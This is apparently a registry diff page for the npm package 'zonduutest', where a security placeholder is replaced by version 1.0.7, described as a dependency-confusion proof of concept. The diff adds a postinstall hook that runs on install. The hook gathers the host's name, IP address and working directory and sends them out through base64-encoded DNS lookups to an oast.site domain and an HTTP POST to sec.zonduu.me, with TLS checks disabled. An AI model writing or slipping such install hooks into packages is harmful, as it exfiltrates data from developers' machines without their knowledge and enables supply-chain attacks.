zonduutest 0.0.1-security.1 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zonduutest might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "zonduutest",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "description": "Proof of concept for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,85 @@
1
+ const fs = require('fs');
2
+ const dns = require('dns');
3
+ const http = require('http');
4
+ const os = require('os');
5
+
6
+ const logFile = '/tmp/postinstall.log';
7
+
8
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
9
+
10
+ try {
11
+ fs.appendFileSync(logFile, `Starting postinstall script\n`);
12
+
13
+ const hostname = os.hostname();
14
+ const packageName = process.env.npm_package_name;
15
+ const packageVersion = process.env.npm_package_version;
16
+ const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
17
+ const currentPath = process.cwd();
18
+
19
+ const data = {
20
+ packageName,
21
+ packageVersion,
22
+ hostname,
23
+ ipAddress,
24
+ currentPath
25
+ };
26
+
27
+ fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
28
+
29
+ // Shorten data for DNS exfiltration
30
+ const dnsData = `${packageName}-${hostname}-${ipAddress}`;
31
+ const base64Data = Buffer.from(dnsData).toString('base64').replace(/=/g, '');
32
+
33
+ // Ensure DNS data fits within DNS label length limit by splitting if necessary
34
+ const maxLabelLength = 63;
35
+ const base64DataParts = [];
36
+ for (let i = 0; i < base64Data.length; i += maxLabelLength) {
37
+ base64DataParts.push(base64Data.substring(i, i + maxLabelLength));
38
+ }
39
+
40
+ base64DataParts.forEach((part, index) => {
41
+ const dnsSubdomain = `${part}-${index}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
42
+ dns.resolve4(dnsSubdomain, (err, addresses) => {
43
+ if (err) {
44
+ fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
45
+ } else {
46
+ fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
47
+ }
48
+ });
49
+ });
50
+
51
+ // HTTP fallback
52
+ const postData = `info=${encodeURIComponent(JSON.stringify(data))}`;
53
+
54
+ const options = {
55
+ hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
56
+ port: 80, // Replace with the appropriate port
57
+ path: '/callbackplz',
58
+ method: 'POST',
59
+ headers: {
60
+ 'Content-Type': 'application/x-www-form-urlencoded',
61
+ 'Content-Length': postData.length
62
+ }
63
+ };
64
+
65
+ const req = http.request(options, (res) => {
66
+ let responseData = '';
67
+ res.on('data', (chunk) => {
68
+ responseData += chunk;
69
+ });
70
+ res.on('end', () => {
71
+ fs.appendFileSync(logFile, `HTTP request completed with status ${res.statusCode}: ${responseData}\n`);
72
+ });
73
+ });
74
+
75
+ req.on('error', (e) => {
76
+ fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
77
+ });
78
+
79
+ req.write(postData);
80
+ req.end();
81
+
82
+ fs.appendFileSync(logFile, `postinstall script finished\n`);
83
+ } catch (e) {
84
+ fs.appendFileSync(logFile, `Error: ${e.message}\n`);
85
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=zonduutest for more information.